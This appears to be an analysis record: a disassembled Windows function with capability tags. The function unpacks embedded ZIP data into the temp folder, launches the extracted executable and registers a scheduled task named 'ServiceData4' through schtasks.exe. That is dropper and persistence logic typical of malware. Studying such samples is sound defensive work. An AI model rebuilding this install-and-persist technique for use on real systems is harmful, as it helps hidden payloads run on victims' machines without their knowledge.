Function at 0x5a1890
Capabilities:
Create process on windows
Get common file path
Schedule task via at
Schedule task via schtasks
Write and execute a file
Write file on windows

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x34c
mov edi, dword [0xd36100]
mov ebp, dword [0xd36104]
mov eax, dword [0xd44044]
mov dword [esp + 0x33c], eax
xor eax, eax
mov eax, dword [0xd3610c]
lea ebx, [esp + 0x38]
mov dword [esp], 0x104
mov dword [esp + 4], ebx
mov esi, dword [0xd36108]
mov dword [esp + 0x28], eax
mov eax, dword [0xd36110]
mov dword [esp + 0x2c], eax
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
sub esp, 8
test eax, eax
je 0x5a1c00
mov dword [esp], edi
mov dword [esp + 4], ebp
call fcn.00402690
mov dword [esp + 4], esi
mov dword [esp], eax
call fcn.00402690
mov ecx, dword [esp + 0x28]
mov dword [esp], eax
mov dword [esp + 4], ecx
call fcn.00402690
mov ecx, dword [esp + 0x2c]
mov dword [esp], eax
mov dword [esp + 4], ecx
call fcn.00402690
mov dword [esp], eax
mov edi, eax
call sub.msvcrt.dll_malloc
mov esi, eax
test eax, eax
je 0x5a1c3c
mov dword [esp + 8], 0x9cb4a0
mov dword [esp + 4], 0x9cb4c0
mov dword [esp], str.exe_name_is__s_and_dll_name_id__s_n
call fcn.0059d230
mov eax, dword [0xd36100]
mov dword [esp + 4], 0xccc3e0
mov dword [esp], esi
mov dword [esp + 8], eax
call sub.msvcrt.dll_memcpy
mov dword [esp], str.memcpy_after_1
call sub.msvcrt.dll_puts
mov eax, dword [0xd36100]
mov edx, dword [0xd36104]
mov dword [esp + 4], 0xce1680
add eax, esi
mov dword [esp + 8], edx
mov dword [esp], eax
call sub.msvcrt.dll_memcpy
mov dword [esp], str.memcpy_after_2
call sub.msvcrt.dll_puts
mov eax, dword [0xd36104]
mov edx, dword [0xd36108]
mov dword [esp + 4], 0xcf6920
add eax, esi
add eax, dword [0xd36100]
mov dword [esp + 8], edx
mov dword [esp], eax
call sub.msvcrt.dll_memcpy
mov dword [esp], str.memcpy_after_3
call sub.msvcrt.dll_puts
mov edx, dword [0xd3610c]
mov eax, dword [0xd36104]
mov dword [esp + 4], 0xd0bbc0
add eax, dword [0xd36100]
add eax, dword [0xd36108]
add eax, esi
mov dword [esp + 8], edx
mov dword [esp], eax
call sub.msvcrt.dll_memcpy
mov dword [esp], str.memcpy_after_4
call sub.msvcrt.dll_puts
mov edx, dword [0xd36110]
mov eax, dword [0xd36104]
mov dword [esp + 4], 0xd20e60
add eax, dword [0xd36100]
add eax, dword [0xd36108]
add eax, dword [0xd3610c]
mov dword [esp + 8], edx
add eax, esi
mov dword [esp], eax
call sub.msvcrt.dll_memcpy
mov dword [esp], str.memcpy_after_5
call sub.msvcrt.dll_puts
mov dword [esp], str.before_zip_stream_oopen
call sub.msvcrt.dll_puts
mov dword [esp + 0xc], 0x72
mov dword [esp + 8], 0
mov dword [esp + 4], edi
mov dword [esp], esi
call fcn.005afc80
mov ebp, eax
test eax, eax
je 0x5a1c18
mov dword [esp], ebx
call sub.msvcrt.dll_strlen
mov dword [esp], 0x9cb4c0
mov esi, eax
call sub.msvcrt.dll_strlen
lea eax, [esi + eax + 2]
mov dword [esp], eax
call sub.msvcrt.dll_malloc
mov esi, eax
test eax, eax
je 0x5a1c29
mov dword [esp + 0xc], 0x9cb4c0
mov dword [esp + 8], ebx
mov dword [esp + 4], str._s__s
mov dword [esp], eax
call fcn.005a1cc0
mov dword [esp], ebx
call sub.msvcrt.dll_strlen
mov dword [esp], 0x9cb4a0
mov edi, eax
call sub.msvcrt.dll_strlen
lea eax, [edi + eax + 2]
mov dword [esp], eax
call sub.msvcrt.dll_malloc
mov edi, eax
test eax, eax
je 0x5a1c29
mov dword [esp + 8], ebx
mov dword [esp + 0xc], 0x9cb4a0
mov dword [esp + 4], str._s__s
mov dword [esp], eax
call fcn.005a1cc0
mov dword [esp + 4], ebp
mov dword [esp + 8], esi
mov dword [esp], 0x9cb4c0
call fcn.0058a2b0
mov dword [esp + 4], ebp
mov dword [esp + 8], edi
mov dword [esp], 0x9cb4a0
call fcn.0058a2b0
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], str.exe_name_is__s_and_dll_name_id__s_n
call fcn.0059d230
mov ebx, dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], esi
mov dword [esp + 4], str.open
mov dword [esp], 0
call ebx
sub esp, 0x18
lea ebp, [esp + 0x13c]
mov dword [esp + 8], esi
mov dword [esp + 4], str.__create__tn__ServiceData4___tr___s___st_00:01__du_9800:59__sc_once__ri_1__f
mov dword [esp], ebp
call fcn.005a1cc0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], ebp
mov dword [esp + 8], str.schtasks.exe
mov dword [esp + 4], 0
mov dword [esp], 0
call ebx
sub esp, 0x18
mov dword [esp], edi
call fcn.0040f8d8
mov dword [esp], esi
call fcn.0040f8d8
xor eax, eax
mov edx, dword [esp + 0x33c]
sub edx, dword [0xd44044]
jne 0x5a1c37
add esp, 0x34c
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp], str.Failed_to_get_temp_path
call sub.msvcrt.dll_perror
mov eax, 1
jmp 0x5a1be2
mov dword [esp], str.Failed_to_open_zip_stream
call sub.msvcrt.dll_perror
or eax, 0xffffffff
jmp 0x5a1be2
mov dword [esp], str.Failed_to_allocate_memory
call sub.msvcrt.dll_perror
jmp 0x5a1c24
call fcn.00401690
mov dword [esp], 2
call dword [0x6c5838]
mov dword [esp + 8], 0x27
mov dword [esp + 0xc], eax
mov dword [esp + 4], 1
mov dword [esp], str.Failed_to_allocate_memory_for_ZIP_data_n
call sub.msvcrt.dll_fwrite
jmp 0x5a1c0c